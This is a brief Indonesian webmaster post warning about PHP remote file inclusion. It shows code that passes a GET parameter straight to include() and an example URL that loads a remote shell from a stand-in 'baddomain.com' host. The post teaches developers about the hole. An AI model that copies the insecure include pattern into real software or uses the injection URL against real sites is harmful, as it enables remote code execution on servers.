PHP Inject [fatal bad include code]

[webmaster]

PHP Inject [fatal bad include code]

menggunakan include pada variable harus hati!!!, berbahaya

Bad PHP Code:

Code:

$ambildata = $_GET['ambildata'];
include ($ambildata);

dengan demikian script diatas mengijinkan user untk menginclude file apa saja ke dalam halaman web via URL

let's see

Code:

http://domain.com/page=2&ambildata=http://baddomain.com/shell.php

file shell.php bakalan diinclude dalam halaman juga !!!!